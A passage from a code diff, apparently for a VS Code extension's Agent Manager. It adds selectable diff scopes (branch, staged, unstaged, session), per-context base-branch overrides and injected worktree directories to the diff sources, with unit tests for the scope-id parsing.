knows + * how to build. `branch` maps to the workspace source; `session` is handled + * separately because it needs the session id embedded in the source id. + */ +export function scopeToSourceId(scope: DiffScope, ctx: string): string { + if (scope === "staged") return "staged" + if (scope === "unstaged") return "unstaged" + if (scope === "session") return `session:${ctx}` + return "workspace" +} diff --git a/packages/kilo-vscode/src/agent-manager/types.ts b/packages/kilo-vscode/src/agent-manager/types.ts index 8950c68d22..ae72d2cd01 100644 --- a/packages/kilo-vscode/src/agent-manager/types.ts +++ b/packages/kilo-vscode/src/agent-manager/types.ts @@ -286,6 +286,18 @@ interface RevertWorktreeFileResultMessage { message: string } +/** Branch picker data for a context's diff directory. */ +interface DiffBranchesMessage { + type: "agentManager.diffBranches" + sessionId: string + branches: BranchListItem[] + defaultBranch: string + autoBase?: string + currentBase?: string + isAuto: boolean + currentBranch?: string +} + interface PRStatusOutMessage { type: "agentManager.prStatus" worktreeId: string @@ -324,6 +336,7 @@ export type AgentManagerOutMessage = | WorktreeDiffMessage | WorktreeDiffFileMessage | RevertWorktreeFileResultMessage + | DiffBranchesMessage | PRStatusOutMessage | ActionOutMessage | RunStatusMessage @@ -512,6 +525,7 @@ interface ImportFromPRIn { interface RequestWorktreeDiffIn { type: "agentManager.requestWorktreeDiff" sessionId: string + scope?: string } interface ApplyWorktreeDiffIn { @@ -524,11 +538,13 @@ interface RequestWorktreeDiffFileIn { type: "agentManager.requestWorktreeDiffFile" sessionId: string file: string + scope?: string } interface StartDiffWatchIn { type: "agentManager.startDiffWatch" sessionId: string + scope?: string } interface StopDiffWatchIn { @@ -539,6 +555,20 @@ interface RevertWorktreeFileIn { type: "agentManager.revertWorktreeFile" sessionId: string file: string + scope?: string +} + +interface RequestDiffBranchesIn { + type: "agentManager.requestDiffBranches" + sessionId: string + scope?: string +} + +interface SetDiffBaseBranchIn { + type: "agentManager.setDiffBaseBranch" + sessionId: string + scope?: string + branch?: string } interface RefreshPRIn { @@ -803,6 +833,8 @@ export type AgentManagerInMessage = | StartDiffWatchIn | StopDiffWatchIn | RevertWorktreeFileIn + | RequestDiffBranchesIn + | SetDiffBaseBranchIn | RefreshPRIn | OpenPRIn | OpenSessionsIn diff --git a/packages/kilo-vscode/src/agent-manager/worktree-diff-controller.ts b/packages/kilo-vscode/src/agent-manager/worktree-diff-controller.ts index 75d538cc35..dff233ca5c 100644 --- a/packages/kilo-vscode/src/agent-manager/worktree-diff-controller.ts +++ b/packages/kilo-vscode/src/agent-manager/worktree-diff-controller.ts @@ -1,12 +1,13 @@ import { SourceController } from "../diff/SourceController" import { resolveLocalDiffTarget } from "../diff/shared/target" import { WorktreeDiffReverter, type StatusResolver } from "../diff/shared/reverter" -import type { DiffFile } from "../diff/types" -import type { DiffSource, DiffSourceDescriptor, DiffSourceFetch } from "../diff/sources/types" +import type { DiffFile, PanelContext } from "../diff/types" +import type { DiffSource } from "../diff/sources/types" +import type { DiffSourceCatalog } from "../diff/sources/catalog" import type { ApplyConflict, GitOps } from "./GitOps" import { shouldStopDiffPolling } from "./delete-worktree" -import { Semaphore } from "./semaphore" import { remoteRef, type ManagedSession, type WorktreeStateManager } from "./WorktreeStateManager" +import { parseDiffId, scopeToSourceId } from "./diff-scope" import type { AgentManagerOutMessage, WorktreeDiffEntry } from "./types" const LOCAL_DIFF_ID = "local" as const @@ -19,14 +20,11 @@ export interface WorktreeDiffControllerContext { getState: () => WorktreeStateManager | undefined getRoot: () => string | undefined getStateReady: () => Promise | undefined - /** - * In-process diff paths deliberately bypass the SDK client to keep git spawns - * out of the Bun `kilo serve` process (see oven-sh/bun#18265). - */ + /** Builds the underlying per-scope diff sources (workspace/staged/unstaged/session). */ + catalog: DiffSourceCatalog + /** Shared git ops, injected into sources so they don't spawn their own channels. */ git: GitOps - /** In-process diff summary (replaces client.worktree.diffSummary). */ - localDiff: (dir: string, base: string) => Promise - /** In-process single-file diff (replaces client.worktree.diffFile). */ + /** In-process single-file diff (replaces client.worktree.diffFile). Used by revert. */ localDiffFile: (dir: string, base: string, file: string) => Promise post: (msg: AgentManagerOutMessage) => void log: (...args: unknown[]) => void @@ -34,13 +32,14 @@ export interface WorktreeDiffControllerContext { export class WorktreeDiffController { private readonly controller: SourceController - private readonly details = new Semaphore(3) private target: Target | undefined private applying: string | undefined + /** Ephemeral per-context base override, keyed by context id. */ + private baseOverrides = new Map() constructor(private readonly ctx: WorktreeDiffControllerContext) { this.controller = new SourceController( - (id) => this.source(id), + (id, ctx) => this.source(id, ctx), () => [], (msg) => this.ctx.post(msg as AgentManagerOutMessage), { @@ -80,7 +79,11 @@ export class WorktreeDiffController { } public shouldStopForWorktree(path: string, sessions: ManagedSession[]): boolean { - return shouldStopDiffPolling(path, sessions, this.target, this.controller.currentId) + // Pass the parsed context id, not the composite id, so the orphaned-session + // check matches real session ids. + const current = this.controller.currentId + const ctxId = current ? parseDiffId(current).ctx : undefined + return shouldStopDiffPolling(path, sessions, this.target, ctxId) } public async apply(worktreeId: string, value?: unknown): Promise { @@ -144,38 +147,38 @@ export class WorktreeDiffController { } } - public async revert(sessionId: string, file: string): Promise { + public async revert(id: string, file: string): Promise { if (!file) return - if (this.controller.currentId !== sessionId) { - const result = await this.revertFile(sessionId, file) - this.postRevertResult(sessionId, file, result) + if (this.controller.currentId !== id) { + const result = await this.revertFile(id, file) + this.postRevertResult(id, file, result) return } await this.controller.revertFile(file) } - public async request(sessionId: string): Promise { - if (this.controller.currentId !== sessionId) { - await this.activate(sessionId, false, true) + public async request(id: string): Promise { + if (this.controller.currentId !== id) { + await this.activate(id, false, true) return } this.target = undefined await this.controller.refresh() } - public async requestFile(sessionId: string, file: string): Promise { + public async requestFile(id: string, file: string): Promise { if (!file) return - if (this.controller.currentId !== sessionId) { - this.ctx.post({ type: "agentManager.worktreeDiffFile", sessionId, file, diff: null }) + if (this.controller.currentId !== id) { + this.ctx.post({ type: "agentManager.worktreeDiffFile", sessionId: id, file, diff: null }) return } await this.controller.requestFile(file) } - public start(sessionId: string): void { - if (this.controller.isPolling && this.controller.currentId === sessionId) return - this.ctx.log(`Starting diff polling for session ${sessionId}`) - void this.activate(sessionId, true, true) + public start(id: string): void { + if (this.controller.isPolling && this.controller.currentId === id) return + this.ctx.log(`Starting diff polling for ${id}`) + void this.activate(id, true, true) } public stop(): void { @@ -183,92 +186,113 @@ export class WorktreeDiffController { this.target = undefined } - private async activate(sessionId: string, poll: boolean, fetch: boolean): Promise { + /** + * Set or clear an ephemeral base override for a context (worktree or local), + * then re-activate the current source so it refetches against the new base. + * Passing undefined clears the override and falls back to the recorded parent. + */ + public async setBase(id: string, branch: string | undefined): Promise { + const { ctx } = parseDiffId(id) + if (branch) this.baseOverrides.set(ctx, branch) + else this.baseOverrides.delete(ctx) this.target = undefined - this.controller.setContext({ workspaceRoot: this.ctx.getRoot() }) - await this.controller.activate(sessionId, { poll, fetch }) + await this.controller.reactivate() } - private async resolve(sessionId: string): Promise<{ directory: string; baseBranch: string } | undefined> { - if (sessionId === LOCAL_DIFF_ID) return await this.resolveLocal() + /** Branch picker data for a context's directory, using any active override. */ + public async branches(id: string) { + await this.ready("stateReady rejected, continuing diff branches resolve:") + const { ctx } = parseDiffId(id) + const target = await this.resolve(ctx) + if (!target) return undefined + return await this.ctx.catalog.listWorkspaceBranches(this.baseOverrides.get(ctx), target.directory) + } + + private async activate(id: string, poll: boolean, fetch: boolean): Promise { + this.target = undefined + await this.ready("stateReady rejected, continuing diff activate:") + const { ctx } = parseDiffId(id) + const resolved = await this.resolve(ctx) + this.target = resolved ? { sessionId: id, ...resolved } : undefined + this.controller.setContext({ + workspaceRoot: this.ctx.getRoot(), + dir: resolved?.directory, + // The resolved base already bakes in any ephemeral override (see + // resolve()), so pass it as the explicit base and leave + // baseBranchOverride unset to avoid double resolution. + baseBranch: resolved?.baseBranch, + // Agent Manager always knows its intended directory (LOCAL resolves to + // the root). Never fall back to the workspace root for an unresolvable + // worktree context — return an empty diff instead. + strictDir: true, + git: this.ctx.git, + log: (...args) => this.ctx.log(...args), + }) + await this.controller.activate(id, { poll, fetch }) + } + + private async resolve(ctxId: string): Promise<{ directory: string; baseBranch: string } | undefined> { + if (ctxId === LOCAL_DIFF_ID) return await this.resolveLocal() const state = this.ctx.getState() if (!state) { - this.ctx.log(`resolveDiffTarget: no state manager for session ${sessionId}`) + this.ctx.log(`resolveDiffTarget: no state manager for context ${ctxId}`) return undefined } - const session = state.getSession(sessionId) + const session = state.getSession(ctxId) if (!session) { this.ctx.log( - `resolveDiffTarget: session ${sessionId} not found in state (${state.getSessions().length} total sessions)`, + `resolveDiffTarget: session ${ctxId} not found in state (${state.getSessions().length} total sessions)`, ) return undefined } if (!session.worktreeId) { - this.ctx.log(`resolveDiffTarget: session ${sessionId} has no worktreeId (local session)`) + this.ctx.log(`resolveDiffTarget: session ${ctxId} has no worktreeId (local session)`) return undefined } const worktree = state.getWorktree(session.worktreeId) if (!worktree) { - this.ctx.log(`resolveDiffTarget: worktree ${session.worktreeId} not found for session ${sessionId}`) + this.ctx.log(`resolveDiffTarget: worktree ${session.worktreeId} not found for session ${ctxId}`) return undefined } - return { directory: worktree.path, baseBranch: remoteRef(worktree) } + const base = this.baseOverrides.get(ctxId) ?? remoteRef(worktree) + return { directory: worktree.path, baseBranch: base } } private async resolveLocal(): Promise<{ directory: string; baseBranch: string } | undefined> { - return await resolveLocalDiffTarget(this.ctx.git, (...args) => this.ctx.log(...args), this.ctx.getRoot()) + const root = this.ctx.getRoot() + if (!root) return undefined + const override = this.baseOverrides.get(LOCAL_DIFF_ID) + if (override) { + return { directory: root, baseBranch: override } + } + return await resolveLocalDiffTarget(this.ctx.git, (...args) => this.ctx.log(...args), root) } private async ready(msg: string): Promise { await this.ctx.getStateReady()?.catch((err) => this.ctx.log(msg, err)) } - private source(sessionId: string): DiffSource { - const descriptor: DiffSourceDescriptor = { - id: sessionId, - type: "workspace", - group: "Git", - capabilities: { revert: true, comments: true }, - } - + /** + * Build the active source for a composite id by delegating to the catalog. + * The composite id (ctx#scope) is preserved as the descriptor id so the + * webview keys diff data by context+scope. Context resolution (dir/base) + * already happened in activate() and is carried by the PanelContext. + */ + private source(id: string, panelCtx: PanelContext): DiffSource { + const { ctx, scope } = parseDiffId(id) + const built = this.ctx.catalog.build(scopeToSourceId(scope, ctx), panelCtx) return { - descriptor, - fetch: () => this.fetch(sessionId), - fetchFile: (file) => this.fetchFile(sessionId, file), - revert: (file) => this.revertFile(sessionId, file), + ...built, + descriptor: { ...built.descriptor, id }, } } - private async fetch(sessionId: string): Promise { - await this.ready("stateReady rejected, continuing diff resolve:") - const target = await this.ensureTarget(sessionId) - if (!target) return { diffs: [], stopPolling: true } - - const files = await this.ctx.localDiff(target.directory, target.baseBranch) - this.ctx.log(`Worktree diff returned ${files.length} file(s) for session ${sessionId}`) - return { diffs: files as AgentManagerDiffFile[] } - } - - private async fetchFile(sessionId: string, file: string): Promise { - await this.ready("stateReady rejected, continuing diff detail resolve:") - return this.details.run(async () => { - const target = await this.ensureTarget(sessionId) - if (!target) return null - - try { - return (await this.ctx.localDiffFile(target.directory, target.baseBranch, file)) as AgentManagerDiffFile | null - } catch (error) { - this.ctx.log("Failed to fetch worktree diff file:", error) - return null - } - }) - } - - private async revertFile(sessionId: string, file: string): Promise<{ ok: boolean; message: string }> { + private async revertFile(id: string, file: string): Promise<{ ok: boolean; message: string }> { await this.ready("stateReady rejected, continuing revert resolve:") - const target = await this.resolveTarget(sessionId) + const { ctx } = parseDiffId(id) + const target = await this.resolve(ctx) if (!target) return { ok: false, message: "Could not resolve diff target" } try { @@ -285,19 +309,6 @@ export class WorktreeDiffController { } } - private async ensureTarget(sessionId: string): Promise { - if (this.controller.currentId !== sessionId) return undefined - if (this.target?.sessionId === sessionId) return this.target - return await this.resolveTarget(sessionId) - } - - private async resolveTarget(sessionId: string): Promise { - const target = await this.resolve(sessionId) - if (!target) return undefined - this.target = { sessionId, ...target } - return this.target - } - private postRevertResult(sessionId: string, file: string, result: { ok: boolean; message: string }): void { this.ctx.post({ type: "agentManager.revertWorktreeFileResult", diff --git a/packages/kilo-vscode/src/diff/sources/catalog.ts b/packages/kilo-vscode/src/diff/sources/catalog.ts index fa36aaecf2..608d4580af 100644 --- a/packages/kilo-vscode/src/diff/sources/catalog.ts +++ b/packages/kilo-vscode/src/diff/sources/catalog.ts @@ -90,12 +90,13 @@ export class DiffSourceCatalog implements vscode.Disposable { } build(id: string, ctx: PanelContext): DiffSource { + const opts = { dir: () => ctx.dir, strictDir: ctx.strictDir, git: ctx.git, log: ctx.log } if (id === WORKSPACE_SOURCE_ID) { - return createWorktreeDiffSource({ baseBranchOverride: ctx.baseBranchOverride }) + return createWorktreeDiffSource({ ...opts, baseBranchOverride: ctx.baseBranchOverride, baseBranch: ctx.baseBranch }) } - if (id === STAGED_SOURCE_ID) return createStagedDiffSource() - if (id === UNSTAGED_SOURCE_ID) return createUnstagedDiffSource() + if (id === STAGED_SOURCE_ID) return createStagedDiffSource(opts) + if (id === UNSTAGED_SOURCE_ID) return createUnstagedDiffSource(opts) if (id.startsWith(TURN_PREFIX)) { const [sessionId, messageId] = id.slice(TURN_PREFIX.length).split(":") @@ -108,14 +109,14 @@ export class DiffSourceCatalog implements vscode.Disposable { if (id.startsWith(SESSION_PREFIX)) { const sessionId = id.slice(SESSION_PREFIX.length) if (!sessionId) throw new Error(`DiffSourceCatalog.build: empty session id in "${id}"`) - return createSessionDiffSource(sessionId, this.sessionFetch, ctx.workspaceRoot, this.checkSnapshotsEnabled) + return createSessionDiffSource(sessionId, this.sessionFetch, ctx.dir ?? ctx.workspaceRoot, this.checkSnapshotsEnabled) } throw new Error(`DiffSourceCatalog.build: unknown source id "${id}"`) } - async listWorkspaceBranches(override: string | undefined): Promise { - const root = getWorkspaceRoot() + async listWorkspaceBranches(override: string | undefined, dir?: string): Promise { + const root = dir ?? getWorkspaceRoot() if (!root) return undefined const git = this.ensureBranchGit() diff --git a/packages/kilo-vscode/src/diff/sources/staged.ts b/packages/kilo-vscode/src/diff/sources/staged.ts index d21a508902..8cd250743c 100644 --- a/packages/kilo-vscode/src/diff/sources/staged.ts +++ b/packages/kilo-vscode/src/diff/sources/staged.ts @@ -34,17 +34,39 @@ function stamp(entry: FileEntry, before: string, after: string): FileEntry { return { ...entry, stamp: `${entry.status}:${before}:${after}` } } +export interface StagedDiffSourceOptions { + /** + * Resolve the directory to diff. Defaults to the VS Code workspace root. + * Agent Manager passes a worktree path so the source diffs inside the + * worktree rather than the main checkout. + */ + dir?: () => string | undefined + /** + * When true, a `dir` that resolves to undefined yields an empty diff rather + * than falling back to the workspace root. + */ + strictDir?: boolean + /** Shared GitOps / log so sources don't each spawn their own channel. */ + git?: GitOps + log?: (...args: unknown[]) => void +} + /** * Diff between the git index and HEAD — what `git diff --cached` would show. * Polls on the standard interval; revert isn't supported (use `git reset` from * a real git client). Read-only view. */ -export function createStagedDiffSource(): DiffSource { - const output = vscode.window.createOutputChannel("Kilo Diff: Staged") - const log = (...args: unknown[]) => appendOutput(output, "StagedDiffSource", ...args) - const git = new GitOps({ log }) +export function createStagedDiffSource(opts: StagedDiffSourceOptions = {}): DiffSource { + const output = opts.git ? undefined : vscode.window.createOutputChannel("Kilo Diff: Staged") + const log = opts.log ?? ((...args: unknown[]) => appendOutput(output!, "StagedDiffSource", ...args)) + const git = opts.git ?? new GitOps({ log }) - const root = (): string | undefined => getWorkspaceRoot() + const root = (): string | undefined => { + const dir = opts.dir?.() + if (dir) return dir + if (opts.strictDir) return undefined + return getWorkspaceRoot() + } const listEntries = async (dir: string): Promise => { const [nameStatus, numstat, raw] = await Promise.all([ @@ -150,8 +172,10 @@ export function createStagedDiffSource(): DiffSource { }, dispose(): void { - git.dispose() - output.dispose() + // Only dispose resources we own (created here). Injected git/log are + // owned by the caller. + if (!opts.git) git.dispose() + output?.dispose() }, } } diff --git a/packages/kilo-vscode/src/diff/sources/unstaged.ts b/packages/kilo-vscode/src/diff/sources/unstaged.ts index b4d0c99616..5fcb03793d 100644 --- a/packages/kilo-vscode/src/diff/sources/unstaged.ts +++ b/packages/kilo-vscode/src/diff/sources/unstaged.ts @@ -40,17 +40,39 @@ function stamp(entry: FileEntry, before: string, after: string): FileEntry { return { ...entry, stamp: `${entry.status}:${before}:${after}` } } +export interface UnstagedDiffSourceOptions { + /** + * Resolve the directory to diff. Defaults to the VS Code workspace root. + * Agent Manager passes a worktree path so the source diffs inside the + * worktree rather than the main checkout. + */ + dir?: () => string | undefined + /** + * When true, a `dir` that resolves to undefined yields an empty diff rather + * than falling back to the workspace root. + */ + strictDir?: boolean + /** Shared GitOps / log so sources don't each spawn their own channel. */ + git?: GitOps + log?: (...args: unknown[]) => void +} + /** * Diff between the working tree and the index — what `git diff` shows for * tracked files, plus untracked files (treated as fully-added). Read-only; * polls on the standard interval. */ -export function createUnstagedDiffSource(): DiffSource { - const output = vscode.window.createOutputChannel("Kilo Diff: Unstaged") - const log = (...args: unknown[]) => appendOutput(output, "UnstagedDiffSource", ...args) - const git = new GitOps({ log }) +export function createUnstagedDiffSource(opts: UnstagedDiffSourceOptions = {}): DiffSource { + const output = opts.git ? undefined : vscode.window.createOutputChannel("Kilo Diff: Unstaged") + const log = opts.log ?? ((...args: unknown[]) => appendOutput(output!, "UnstagedDiffSource", ...args)) + const git = opts.git ?? new GitOps({ log }) - const root = (): string | undefined => getWorkspaceRoot() + const root = (): string | undefined => { + const dir = opts.dir?.() + if (dir) return dir + if (opts.strictDir) return undefined + return getWorkspaceRoot() + } const listTracked = async (dir: string): Promise => { const [nameStatus, numstat, raw] = await Promise.all([ @@ -192,8 +214,10 @@ export function createUnstagedDiffSource(): DiffSource { }, dispose(): void { - git.dispose() - output.dispose() + // Only dispose resources we own (created here). Injected git/log are + // owned by the caller. + if (!opts.git) git.dispose() + output?.dispose() }, } } diff --git a/packages/kilo-vscode/src/diff/sources/worktree.ts b/packages/kilo-vscode/src/diff/sources/worktree.ts index 1f3d8ee25a..89e750a1c8 100644 --- a/packages/kilo-vscode/src/diff/sources/worktree.ts +++ b/packages/kilo-vscode/src/diff/sources/worktree.ts @@ -23,6 +23,28 @@ export interface WorktreeDiffSourceOptions { * the current branch — only the comparison target changes. Reset on dispose. */ baseBranchOverride?: string + /** + * Resolve the directory to diff. Defaults to the VS Code workspace root. + * Agent Manager passes a worktree path so the source diffs inside the + * worktree rather than the main checkout. + */ + dir?: () => string | undefined + /** + * When true, a `dir` that resolves to undefined yields an empty diff rather + * than falling back to the workspace root. Prevents an unresolvable + * worktree context from silently diffing the main checkout. + */ + strictDir?: boolean + /** + * Explicit base branch to diff against. When set, the source skips + * auto-resolution (tracking → default) and diffs against this ref directly. + * Agent Manager passes the worktree's recorded parent so a worktree always + * compares against its own base even when the workspace default differs. + */ + baseBranch?: string + /** Shared GitOps / log so sources don't each spawn their own channel. */ + git?: GitOps + log?: (...args: unknown[]) => void } /** @@ -32,9 +54,16 @@ export interface WorktreeDiffSourceOptions { * extension host — no `kilo serve` round-trip. */ export function createWorktreeDiffSource(opts: WorktreeDiffSourceOptions = {}): DiffSource { - const output = vscode.window.createOutputChannel("Kilo Diff: Workspace") - const log = (...args: unknown[]) => appendOutput(output, "WorktreeDiffSource", ...args) - const git = new GitOps({ log }) + const output = opts.git ? undefined : vscode.window.createOutputChannel("Kilo Diff: Workspace") + const log = opts.log ?? ((...args: unknown[]) => appendOutput(output!, "WorktreeDiffSource", ...args)) + const git = opts.git ?? new GitOps({ log }) + + const root = (): string | undefined => { + const dir = opts.dir?.() + if (dir) return dir + if (opts.strictDir) return undefined + return getWorkspaceRoot() + } // Cached between fetches so repeated polling doesn't re-resolve the base // branch every tick. Reset only on dispose (when the source is swapped out). @@ -42,22 +71,32 @@ export function createWorktreeDiffSource(opts: WorktreeDiffSourceOptions = {}): const resolveTarget = async (): Promise => { if (target) return target + if (opts.baseBranch) { + const dir = root() + if (!dir) { + log("Local diff: no directory (explicit base mode)") + return + } + target = { directory: dir, baseBranch: opts.baseBranch } + log(`Local diff: using explicit base=${opts.baseBranch} dir=${dir}`) + return target + } if (opts.baseBranchOverride) { - const root = getWorkspaceRoot() - if (!root) { + const dir = root() + if (!dir) { log("Local diff: no workspace root (override mode)") return } - const resolved = await resolveOverrideRef(git, root, opts.baseBranchOverride, log) + const resolved = await resolveOverrideRef(git, dir, opts.baseBranchOverride, log) if (!resolved) { log(`Local diff: override base="${opts.baseBranchOverride}" could not be resolved, falling back to auto`) } else { - target = { directory: root, baseBranch: resolved } + target = { directory: dir, baseBranch: resolved } log(`Local diff: using override base=${resolved}`) return target } } - target = await resolveLocalDiffTarget(git, log, getWorkspaceRoot()) + target = await resolveLocalDiffTarget(git, log, root()) return target } @@ -109,8 +148,10 @@ export function createWorktreeDiffSource(opts: WorktreeDiffSourceOptions = {}): }, dispose(): void { - git.dispose() - output.dispose() + // Only dispose resources we own (created here). Injected git/log are + // owned by the caller. + if (!opts.git) git.dispose() + output?.dispose() target = undefined }, } diff --git a/packages/kilo-vscode/src/diff/types.ts b/packages/kilo-vscode/src/diff/types.ts index 913d4560a3..3ff72904e1 100644 --- a/packages/kilo-vscode/src/diff/types.ts +++ b/packages/kilo-vscode/src/diff/types.ts @@ -10,6 +10,27 @@ export interface PanelContext { hidePicker?: boolean /** User-picked base branch for the workspace source. Undefined = auto. */ baseBranchOverride?: string + /** + * Explicit directory to diff inside, overriding the workspace root lookup. + * Agent Manager passes a worktree path so its sources operate in the + * worktree rather than the main checkout. + */ + dir?: string + /** + * When true, a source whose `dir` resolves to undefined returns an empty + * diff instead of falling back to the workspace root. Agent Manager sets + * this so an unresolvable worktree context never silently diffs the main + * checkout. + */ + strictDir?: boolean + /** + * Explicit base ref for the workspace source, skipping auto-resolution. + * Agent Manager passes the worktree's recorded parent ref. + */ + baseBranch?: string + /** Shared GitOps / log injected by Agent Manager to avoid per-source channels. */ + git?: import("../agent-manager/GitOps").GitOps + log?: (...args: unknown[]) => void } export type DiffImageError = "too-large" | "unreadable" diff --git a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts index 804471f9bb..10b8867086 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts @@ -570,7 +570,9 @@ describe("Agent Manager Provider — onMessage routing", () => { expect(text).toContain("class WorktreeDiffController") expect(text).toContain("buildWorktreePatch") expect(text).toContain("revertFile") - expect(text).toContain("diffSummary") + // Summary/detail diff data comes from the shared DiffSourceCatalog sources + // (workspace/staged/unstaged/session), not a bespoke in-controller pipeline. + expect(text).toContain("catalog.build") expect(text).toContain("shouldStopDiffPolling") expect(providerText).toContain("this.diffs") }) diff --git a/packages/kilo-vscode/tests/unit/diff-scope.test.ts b/packages/kilo-vscode/tests/unit/diff-scope.test.ts new file mode 100644 index 0000000000..7714ae4fa2 --- /dev/null +++ b/packages/kilo-vscode/tests/unit/diff-scope.test.ts @@ -0,0 +1,52 @@ +import { describe, it, expect } from "bun:test" +import { + composeDiffId, + parseDiffId, + isDiffScope, + normalizeScope, + scopeToSourceId, + DEFAULT_DIFF_SCOPE, +} from "../../src/agent-manager/diff-scope" + +describe("diff-scope composite ids", () => { + it("round-trips context and scope", () => { + expect(parseDiffId(composeDiffId("local", "branch"))).toEqual({ ctx: "local", scope: "branch" }) + expect(parseDiffId(composeDiffId("ses_abc", "staged"))).toEqual({ ctx: "ses_abc", scope: "staged" }) + expect(parseDiffId(composeDiffId("ses_abc", "unstaged"))).toEqual({ ctx: "ses_abc", scope: "unstaged" }) + expect(parseDiffId(composeDiffId("ses_abc", "session"))).toEqual({ ctx: "ses_abc", scope: "session" }) + }) + + it("parses session ids containing no separator as default branch scope", () => { + expect(parseDiffId("ses_abc")).toEqual({ ctx: "ses_abc", scope: DEFAULT_DIFF_SCOPE }) + }) + + it("treats an unknown trailing segment as part of the context, not a scope", () => { + // A session id that happens to contain '#' but not a valid scope keeps the + // full id as context and falls back to branch. + expect(parseDiffId("ses_a#bogus")).toEqual({ ctx: "ses_a#bogus", scope: DEFAULT_DIFF_SCOPE }) + }) + + it("isDiffScope guards the closed enum", () => { + expect(isDiffScope("branch")).toBe(true) + expect(isDiffScope("staged")).toBe(true) + expect(isDiffScope("unstaged")).toBe(true) + expect(isDiffScope("session")).toBe(true) + expect(isDiffScope("turn")).toBe(false) + expect(isDiffScope("")).toBe(false) + }) + + it("normalizeScope falls back to branch for unknown input", () => { + expect(normalizeScope("staged")).toBe("staged") + expect(normalizeScope("nope")).toBe("branch") + expect(normalizeScope(undefined)).toBe("branch") + expect(normalizeScope(42)).toBe("branch") + }) + + it("maps scopes to catalog source ids", () => { + expect(scopeToSourceId("branch", "ses_abc")).toBe("workspace") + expect(scopeToSourceId("staged", "ses_abc")).toBe("staged") + expect(scopeToSourceId("unstaged", "ses_abc")).toBe("unstaged") + expect(scopeToSourceId("session", "ses_abc")).toBe("session:ses_abc") + expect(scopeToSourceId("branch", "local")).toBe("workspace") + }) +}) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index ce6f795941..ac86e26d1a 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -20,9 +20,6 @@ import type { AgentManagerMultiVersionProgressMessage, AgentManagerSendInitialMessage, AgentManagerBranchesMessage, - AgentManagerWorktreeDiffMessage, - AgentManagerWorktreeDiffFileMessage, - AgentManagerWorktreeDiffLoadingMessage, AgentManagerApplyWorktreeDiffResultMessage, AgentManagerApplyWorktreeDiffStatus, AgentManagerApplyWorktreeDiffConflict, @@ -156,7 +153,10 @@ import { } from "./section-helpers" import { sectionAwareDetector } from "./section-dnd" import { ConstrainDragXAxis } from "./constrain-drag-x" -import { mergeWorktreeDiffs } from "../diff-viewer/diff-state" +import { DiffScopeControls } from "../diff-viewer/DiffScopeControls" +import { scopeCapabilities } from "./diff-scope-state" +import { createDiffReviewScope } from "./diff-review-scope" +import { handleDiffMessage } from "./diff-messages" import { initialMessage, seedInitialVariant } from "./initial-message" import { createMarkdownRender } from "./review-preferences" import { createSidebarCollapse } from "./sidebar-collapse" @@ -1491,40 +1491,13 @@ const AgentManagerContent: Component = () => { } } - if (msg.type === "agentManager.worktreeDiff") { - const ev = msg as AgentManagerWorktreeDiffMessage - let staleFiles: Set | undefined - setDiffDatas((prev) => { - const existing = prev[ev.sessionId] - const merged = existing - ? mergeWorktreeDiffs(existing, ev.diffs) - : { diffs: ev.diffs, stale: new Set() } - staleFiles = merged.stale - const next = merged.diffs - if (existing && existing.length === next.length && existing.every((old, i) => old === next[i])) return prev - return { ...prev, [ev.sessionId]: next } - }) - if (staleFiles) refreshStaleDiffs(ev.sessionId, staleFiles) - } - - if (msg.type === "agentManager.worktreeDiffFile") { - const ev = msg as AgentManagerWorktreeDiffFileMessage - if (ev.diff) { - setDiffDatas((prev) => { - const existing = prev[ev.sessionId] ?? [] - const next = existing.map((item) => (item.file === ev.diff!.file ? ev.diff! : item)) - return { ...prev, [ev.sessionId]: next } - }) - setDiffFilePending(ev.sessionId, ev.diff.file, false) - return - } - setDiffFilePending(ev.sessionId, ev.file, false) - } - - if (msg.type === "agentManager.worktreeDiffLoading") { - const ev = msg as AgentManagerWorktreeDiffLoadingMessage - setDiffLoading(ev.loading) - } + handleDiffMessage(msg, { + setDiffDatas, + setDiffFilePending, + setDiffLoading, + refreshStaleDiffs, + review, + }) if (msg.type === "agentManager.applyWorktreeDiffResult") { const ev = msg as AgentManagerApplyWorktreeDiffResultMessage @@ -1617,15 +1590,47 @@ const AgentManagerContent: Component = () => { const currentDiffSessionId = createMemo(selectedDiffSessionId) - // Start/stop diff watch when panel opens/closes, review tab opens, or session changes + // Diff scope + base branch state, shared by the side panel and review tab. + const review = createDiffReviewScope({ + ctx: currentDiffSessionId, + panelOpen: diffOpen, + reviewActive, + local: LOCAL, + vscode, + }) + // The composite id (ctx#scope) the extension keys diff data by. + const diffScopeId = review.id + + // Shared scope + base-picker controls for the side panel and review tab. + const diffScopeControls = (compact: boolean) => ( + + ) + + // Start/stop diff watch when panel opens/closes, review tab opens, scope + // changes, or session changes. createEffect(() => { const panel = diffOpen() - const review = reviewActive() + const active = reviewActive() + const scope = review.scope() - if (panel || review) { + if (panel || active) { const id = currentDiffSessionId() if (id) { - vscode.postMessage({ type: "agentManager.startDiffWatch", sessionId: id }) + vscode.postMessage({ type: "agentManager.startDiffWatch", sessionId: id, scope }) return } vscode.postMessage({ type: "agentManager.stopDiffWatch" }) @@ -1670,33 +1675,17 @@ const AgentManagerContent: Component = () => { tabFocus.restore() } - // Data for the review tab: use local diff data for local context, - // current session for selected worktree context, or first available in that worktree. + // Data for the review tab / side panel: keyed by the composite diff id + // (ctx#scope) the extension pushes, so each scope keeps its own file set and + // switching back to a fetched scope is instant. const reviewDiffs = createMemo(() => { const data = diffDatas() - const sel = selection() - const id = session.currentSessionID() - if (sel === LOCAL) return data[LOCAL] ?? [] - if (id && data[id]) { - const current = managedSessions().find((s) => s.id === id) - if (sel && current?.worktreeId === sel) return data[id]! - } - if (!sel) return [] - const ids = managedSessions() - .filter((s) => s.worktreeId === sel) - .map((s) => s.id) - for (const sid of ids) { - if (data[sid]) return data[sid]! - } - return [] + const key = diffScopeId() + if (!key) return [] + return data[key] ?? [] }) - const diffSessionKey = createMemo(() => { - const sel = selection() - if (sel === LOCAL) return `local:${LOCAL}` - if (sel === null) return `session:${session.currentSessionID() ?? ""}` - return 